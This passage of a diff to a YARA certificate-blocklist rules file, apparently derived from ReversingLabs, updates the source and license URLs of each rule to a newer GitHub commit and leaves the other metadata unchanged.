+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16546-L16562"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "655ed87ee65f937c7cec95085fe612f8d733e0853c87aa50b4aa1fda9e5f7a5d"
 		score = 75
 		quality = 90
@@ -23681,8 +23734,8 @@ rule REVERSINGLABS_Cert_Blocklist_3E39C2Ccc494438Bb8C2560F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16564-L16580"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16564-L16580"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3b4a55149b3895eeea5f96297d1fc9787eb74e2fcef8170148ef1a2ced334311"
 		score = 75
 		quality = 90
@@ -23706,8 +23759,8 @@ rule REVERSINGLABS_Cert_Blocklist_6E3B09F43C3A0Fd53B7D600F08Fae2B5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16582-L16598"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16582-L16598"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "86b06519858dce4b77cb870905297a1fd1c767053fd07c0b0469eb7fc3ba6b32"
 		score = 75
 		quality = 90
@@ -23731,8 +23784,8 @@ rule REVERSINGLABS_Cert_Blocklist_21220646C639D62C16992F46 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16600-L16616"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16600-L16616"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "87202c29867e6410d59c1e3b5ab09a24ebac5c68c61d7b932b91a91dcf3707e2"
 		score = 75
 		quality = 90
@@ -23756,8 +23809,8 @@ rule REVERSINGLABS_Cert_Blocklist_738663F2C9E4Adb3Ad5306Aa5E7Cc548 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16618-L16634"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16618-L16634"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "518a22e31432ee42e6aceb861815f7f9e84f2430b7fb3a78b498e45c584584ab"
 		score = 75
 		quality = 90
@@ -23781,8 +23834,8 @@ rule REVERSINGLABS_Cert_Blocklist_4280F2C8Ce1D98E5F8Da7Ecb005Eeae5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16636-L16652"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16636-L16652"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4cc8f00a9704f595f3e48375942a19cd6f8d6c0e53afc932a61f5a4326be4bcb"
 		score = 75
 		quality = 90
@@ -23806,8 +23859,8 @@ rule REVERSINGLABS_Cert_Blocklist_2946397Be9C5Ae44E95C99Af : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16654-L16670"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16654-L16670"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b7b4925482fcc47dea81eb3d84af31cc572f1b19080b98dda330b0bf6d7c80f4"
 		score = 75
 		quality = 90
@@ -23831,8 +23884,8 @@ rule REVERSINGLABS_Cert_Blocklist_2Df453588177Cf1C0C297Ff4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16672-L16688"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16672-L16688"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b0c82388fd87a89841d190ce4020cc5a2ea21c9d765ceca6bc25d64162479231"
 		score = 75
 		quality = 90
@@ -23856,8 +23909,8 @@ rule REVERSINGLABS_Cert_Blocklist_0619C5E39A4Fc60A32F9B07F6A4Ca328 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16690-L16706"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16690-L16706"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "75e3dfd593d7fdc268de54430be617c015957a624f2ca36bc0036d4cbde5b686"
 		score = 75
 		quality = 90
@@ -23881,8 +23934,8 @@ rule REVERSINGLABS_Cert_Blocklist_2Bffef48E6A321B418041310Fdb9B0D0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16708-L16724"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16708-L16724"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "30a079b55b75b292f7af4f5ae99184cbb3cca1ce4cf20f2f5c961b533673db00"
 		score = 75
 		quality = 90
@@ -23906,8 +23959,8 @@ rule REVERSINGLABS_Cert_Blocklist_34Ec9565805F34204C6966Fb81E36Ba1 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16726-L16742"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16726-L16742"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e434a02f5b9b22a25d8fe7a0bb7bd81b1cd8bc5356b4b626e3bfceb3f554a085"
 		score = 75
 		quality = 90
@@ -23931,8 +23984,8 @@ rule REVERSINGLABS_Cert_Blocklist_B2B934B7F01E0Ac1E577814992243709 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16744-L16762"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16744-L16762"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "37b254ab76d144c09cc7b622dba59f5e372bf01ae12ce260a06143abb52062f6"
 		score = 75
 		quality = 90
@@ -23956,8 +24009,8 @@ rule REVERSINGLABS_Cert_Blocklist_3A1B397Fd9451E3B5891Fc69681Ed73D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16764-L16780"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16764-L16780"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ca43c7bacd8cb5a896c3135abf4a131bdb4a7f5093e64c8d1df743fad0c1c64a"
 		score = 75
 		quality = 90
@@ -23981,8 +24034,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Eb816Aa49E4894D9E9F78729E53Cd48 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16782-L16798"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16782-L16798"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4e22568612aec050c7f78b81ba6749528a9c25c0ba43e14260a581a9bea7a2f0"
 		score = 75
 		quality = 90
@@ -24006,8 +24059,8 @@ rule REVERSINGLABS_Cert_Blocklist_383Ca88D6D9379C740609560 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16800-L16816"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16800-L16816"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ce41d046a7ca320d034fa226b5e8c22022cc6bfc97eb9ef294b1aca232aaacef"
 		score = 75
 		quality = 90
@@ -24031,8 +24084,8 @@ rule REVERSINGLABS_Cert_Blocklist_6731Cb1430F18B8C0C43Ab40E1154169 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16818-L16834"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16818-L16834"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c05349166919ffc18ac6ecb61b822a8365f87a82164c5e110ef94345bdc4de6f"
 		score = 75
 		quality = 90
@@ -24056,8 +24109,8 @@ rule REVERSINGLABS_Cert_Blocklist_159505E6456B9A9352F7C47168D89B96 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16836-L16852"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16836-L16852"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d6d0d5c86dd88afa29fb3c7cc3c0ab2e3401637a23e062ee9bab693a715cf16f"
 		score = 75
 		quality = 90
@@ -24081,8 +24134,8 @@ rule REVERSINGLABS_Cert_Blocklist_04A0E92B0B9Ebbb797Df6Ef52Bd5Ad05 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16854-L16870"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16854-L16870"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ff2a2d06c48bd3426fa42526d966152e3e7166c4170b4e08bb65ee5d876eda93"
 		score = 75
 		quality = 90
@@ -24106,8 +24159,8 @@ rule REVERSINGLABS_Cert_Blocklist_25F222Ab2613Dc4270B2Aabc2519A101 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16872-L16888"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16872-L16888"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2c6673f6821c4ba11fc015cf3e9edefeb7c45209bc9dcd18501c4681444a9b9e"
 		score = 75
 		quality = 90
@@ -24131,8 +24184,8 @@ rule REVERSINGLABS_Cert_Blocklist_212Ca239866F88C3D5B000B3004A569C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16890-L16906"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16890-L16906"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "23ab2343b17dce74fb4166a690ca5dd300b3ed20d3a6b43b922f456410d3035d"
 		score = 75
 		quality = 90
@@ -24156,8 +24209,8 @@ rule REVERSINGLABS_Cert_Blocklist_18B700A319Aa98Ae71B279D4E8030B82 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16908-L16924"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16908-L16924"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e201498acfd9afebc68321887a806bb5c1d74c64a7cd93530feae2a944bd30fa"
 		score = 75
 		quality = 90
@@ -24181,8 +24234,8 @@ rule REVERSINGLABS_Cert_Blocklist_169138A86954Be1D9B264F47 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16926-L16942"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16926-L16942"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1584e39b4e2025611bcb7bbbd92b97d25d12ddbb1e5c282db87730a03f7f56b1"
 		score = 75
 		quality = 90
@@ -24206,8 +24259,8 @@ rule REVERSINGLABS_Cert_Blocklist_33412168Eeb3C0E4C7Dd0508A9Ffecd5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16944-L16960"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16944-L16960"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d634af0637c3349fe1718ee807b8a75007ab46b141494331901a22ce54e9fc5d"
 		score = 75
 		quality = 90
@@ -24231,8 +24284,8 @@ rule REVERSINGLABS_Cert_Blocklist_422Ab71Ac7Fb125Ad7171B0C99510B0E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16962-L16978"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16962-L16978"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7366e5064a9a9f66260730575327e404eadea096ba3f6cf28c83c47bef9bca58"
 		score = 75
 		quality = 90
@@ -24256,8 +24309,8 @@ rule REVERSINGLABS_Cert_Blocklist_6F18946E5B773B7E32D9E7B4Fb8D434C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16980-L16996"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16980-L16996"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fa285c17b43d1acdb05888074ecb16047209ade8f7f6191274f58eca7438dadf"
 		score = 75
 		quality = 90
@@ -24281,8 +24334,8 @@ rule REVERSINGLABS_Cert_Blocklist_3596Dfc23B9A42C66700982250Da2906 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16998-L17014"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16998-L17014"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1b69bf520fde5255069cf8752d5c67716e9bc297ddde1566551a563a563197ea"
 		score = 75
 		quality = 90
@@ -24306,8 +24359,8 @@ rule REVERSINGLABS_Cert_Blocklist_486Bbddc8C5Ee99F051Ecaeb3F99D2A3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17016-L17032"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17016-L17032"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "75855e26ba4e01b56a551a006e789c6032cfb02c6f6125a9bdf8becb848db5b2"
 		score = 75
 		quality = 90
@@ -24331,8 +24384,8 @@ rule REVERSINGLABS_Cert_Blocklist_11211Eea9D0D1D1A325B5Eae1B2B1951120F : INFO FI
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17034-L17050"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17034-L17050"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bafab986605be61d25a6764042937bc5d8c55196ea8ea9aa9360764d9681351b"
 		score = 75
 		quality = 90
@@ -24356,8 +24409,8 @@ rule REVERSINGLABS_Cert_Blocklist_172Fea8Cb06Ffced6Bfac7F2F6B77754 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17052-L17068"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17052-L17068"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8e1e3e7d002ce084600c5444dc9b0bad8771370cb7919a3bb5ebc899040e4cf2"
 		score = 75
 		quality = 90
@@ -24381,8 +24434,8 @@ rule REVERSINGLABS_Cert_Blocklist_3Ee50Bb98Fadca2D662A0920E76685A2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L17070-L17086"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L17070-L17086"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d232923ed962fbf4a9a30890778c2380d6c6967a693c6f77c2f558bb4347e60e"
 		score = 75
 		quality = 90
